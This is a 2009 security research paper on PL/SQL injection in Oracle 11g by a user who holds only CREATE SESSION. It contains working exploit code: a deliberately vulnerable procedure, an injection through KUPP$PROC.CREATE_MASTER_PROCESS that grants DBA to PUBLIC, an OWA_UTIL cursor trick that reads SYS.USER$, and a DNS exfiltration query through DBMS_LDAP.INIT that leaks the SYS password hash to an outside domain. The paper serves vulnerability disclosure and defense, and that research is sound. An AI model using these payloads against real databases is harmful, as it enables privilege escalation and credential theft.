Exploiting PL/SQL Injection With Only CREATE SESSION Privileges in Oracle 11g

David Litchfield [davidl@ngssoftware.com]
21st October 2009

An NGSSoftware Insight Security Research (NISR) Publication

http://www.ngssoftware.com

Introduction
Oracle does not batch SQL statements and this makes exploitation of SQL injection flaws slightly trickier than say Microsoft SQL Server. If the attacker, for example, wanted to grant themselves arbitrary privileges they would not be able to do this directly in they were injecting into a SELECT statement. Rather, they'd need to inject a function into the vulnerability and it is this function that would perform the work of granting the privileges. These functions are known as auxiliary inject functions. If the attacker has the CREATE PROCEDURE privilege they could, of course, create their own auxiliary inject function and inject this. Such a function would take a form similar to the following

```
CREATE OR REPLACE FUNCTION INJECT RETURN NUMBER AUTHID CURRENT_USER IS
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO PUBLIC';
RETURN 1;
END;
```

There are two important points to note here. The AUTHID CURRENT_USER ensures that, when injected, the function takes on the privileges of the vulnerable procedure and the PRAGMA AUTONOMOUS_TRANSACTION allows DML and DDL statements to be executed, even if the inject vector is a SELECT statement. Of course, if the attacker does not have the CREATE PROCEDURE privilege then they'd need to find an extant function that allows them to execute arbitrary SQL. A number of possible functions are discussed in [1] but these have all been fixed in Oracle 11g preventing their use. Prior to Oracle 11g, the EXECUTE function of the DBMS_SQL package could be used as an auxiliary inject function to execute arbitrary SQL after first opening a cursor and parsing a query. This attack method is known as cursor injection. [2]

Security Enhancements in Oracle 11g
To prevent cursor injection attacks and cursor snarfing flaws[3] Oracle made security enhancements to the DBMS_SQL package, or rather the underlying DBMS_SYS_SQL package. Firstly, the value of a cursor returned from DBMS_SQL.OPEN_CURSOR is no longer sequential and is seemingly random. Previously, cursors were issued starting with 1 then 2 then 3 and so on. When closed, a cursor value would be available for reuse. In 11g though, any attempt to perform an action on an invalid cursor will result in access being denied to DBMS_SQL. To reuse the package, the session must be torn down and reconnected. This helps to prevent cursor snarfing attacks. A second change to DBMS_SQL is that if a cursor is parsed under one security ID but an attempt is made to execute it under another security ID, a security violation is thrown. This prevents cursor injection attacks. Due to these changes DBMS_SQL.EXECUTE can no longer be used as an auxiliary inject function. As such, new functions need to be found. This paper will discuss replacements.

Another security enhancement made to Oracle 11g is the locking down of certain network PLSQL utilities such as UTL_INADDR, UTL_TCP, UTL_HTTP, UTL_MAIL, UTL_SMTP packages and the httpuritype type. Unless specifically granted to do so, a low privileged user cannot use these. Any attempt to results in an error: "ORA-24247: network access denied by access control list (ACL)". These utilities have been protected because they can be abused for exfiltrating data in out-of-band SQL injection attacks[3]. If they're being injected into a procedure owned by a user that does have the privileges to use the utilities, for example a SYS owned procedure, then the attacker can still use them - the security enhancement has no effect. Out-of-band SQL injection attacks are typically used however when the attacker is

"blind" such as often occurs in web application attacks. Web applications may not necessarily be running with high privileges so this paper will discuss alternatives.

For the purpose of demonstrating these attacks, a fake PL/SQL injection vulnerability will be used. In the script below, the SYS user creates a procedure call VULNPROC and grants execute on it to PUBLIC. User GREMLIN then logs in and executes the procedure, first normally, then secondly with a single quote resulting in the error demonstrating the procedure is vulnerable to SQL injection.

```
SQL> CONNECT / AS SYSDBA
Connected.
SQL> CREATE OR REPLACE PROCEDURE VULNPROC(STR VARCHAR) IS
  2  STMT VARCHAR(200);
  3  BEGIN
  4  STMT:='SELECT * FROM ALL_OBJECTS WHERE OBJECT_NAME = ''' || STR ||
''''';
  5  EXECUTE IMMEDIATE STMT;
  6  END;
  7  /

Procedure created.

SQL> GRANT EXECUTE ON VULNPROC TO PUBLIC;

Grant succeeded.

SQL> CONNECT GREMLIN/GREMLIN
Connected.
SQL> EXEC SYS.VULNPROC('FOOBAR');

PL/SQL procedure successfully completed.

SQL> EXEC SYS.VULNPROC('FOO''BAR');
BEGIN SYS.VULNPROC('FOO''BAR'); END;

*
ERROR at line 1:
ORA-00933: SQL command not properly ended
ORA-06512: at "SYS.VULNPROC", line 5
ORA-06512: at line 1


SQL>
```

Functions to execute arbitrary SQL

The SYS owned, definer rights KUPP$PROC package is not executable by public. However, if injecting into a procedure owned by a user with DBA privileges, such as SYS, it can be accessed. This package contains a function called CREATE_MASTER_PROCESS. This function takes as its first parameter an arbitrary SQL statement. In the script below, user GREMLIN logs in and before exploitation has only CREATE SESSION privileges and cannot set the DBA role. After exploitation user GREMLIN can set the DBA role.

```
SQL> CONNECT GREMLIN/GREMLIN
Connected.
SQL> SELECT * FROM SESSION_PRIVS;
```

```
PRIVILEGE
----------------------------------------
CREATE SESSION

SQL> SET ROLE DBA;
SET ROLE DBA
*
ERROR at line 1:
ORA-01924: role 'DBA' not granted or does not exist


SQL> EXEC
SYS.VULNPROC('FOO''||SYS.KUPP$PROC.CREATE_MASTER_PROCESS(''EXECUTE
IMMEDIATE ''''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN
EXECUTE IMMEDIATE  ''''''''GRANT DBA TO PUBLIC''''''''; END;
'''';'')||''BAR');

PL/SQL procedure successfully completed.

SQL> SET ROLE DBA;

Role set.

SQL>
```

In Oracle 11g the DBMS_JAVA package uses invoker rights and is executable by PUBLIC. As it will be injected into a procedure, it will assume the privileges of the procedure owner – the invoker. This package contains a function called SET_OUTPUT_TO_SQL which can be used to execute arbitrary SQL. This function is fully discussed in “Hacking Aurora” [4] [Not yet published]

Close, but no cigar functions

The functions detailed here were investigated for their usefulness in SQL injection attacks but were found wanting.

The OWA_UTIL package contains a function called BIND_VARIABLES. This function opens a cursor, parses the a query the returns the cursor. This cursor can then be passed to the DBMS_SQL.EXECUTE function. This works under Oracle 11g even with the security enhancements made to DBMS_SQL because the cursor is opened, parsed and execute all under the same ID.

```
SQL> EXEC
SYS.VULNPROC('FOO''||DBMS_SQL.EXECUTE(OWA_UTIL.BIND_VARIABLES(''SELECT *
FROM SYS.USER$''))||''BAR');

PL/SQL procedure successfully completed.
```

However, there is one drawback with this function. It is limited to SELECT statements which is enforced by the following code (taken from privutil.sql)

```
...
...
if (upper(substr(ltrim(theQuery ), 1, 6 ) ) <> 'SELECT' ) then
      raise INVALID_QUERY;
```

```
end if;
...
...
```

The LTADM package contains a function called CHILD_TABLE_EXISTS that opens an SQL statement but open is limited to SELECTs. In addition it returns BOOLEAN so is not of much use.

Functions for Out-of-band SQL Injection Attacks

The "traditional" network PL/SQL utilities can still be used despite the new access controls provided they're being injected into a "privileged enough" procedure such as a SYS owned procedure. However, this may not be the case, especially in web based applications. One previous out-of-band SQL injection attack was to use UTL_INADDR to smuggle out data over the DNS protocol [5]. This kind of attack can still be performed but by using the DBMS_LDAP.INIT function instead:

```
SQL> SELECT SYS.DBMS_LDAP.INIT((SELECT PASSWORD FROM SYS.USER$ WHERE NAME =
'SYS')||'.databasesecurity.com',80) FROM DUAL;
```

This will cause a DNS query to be sent to the name server responsible for the databasesecurity.com name looking up a (non-existent) host with a name of the SYS user's password. Provided the attacker can control their own name server then they can get the data off the wire. This assumes of course that the firewalls between the database server and the name server pass DNS traffic, which in a secure world they wouldn't but they often do.

[1] http://www.databasesecurity.com/oracle/plsql-injection-create-session.pdf
[2] http://www.databasesecurity.com/dbsec/cursor-injection.pdf
[3] http://www.databasesecurity.com/dbsec/cursor-snarfing.pdf
[4] http://www.ngssoftware.com/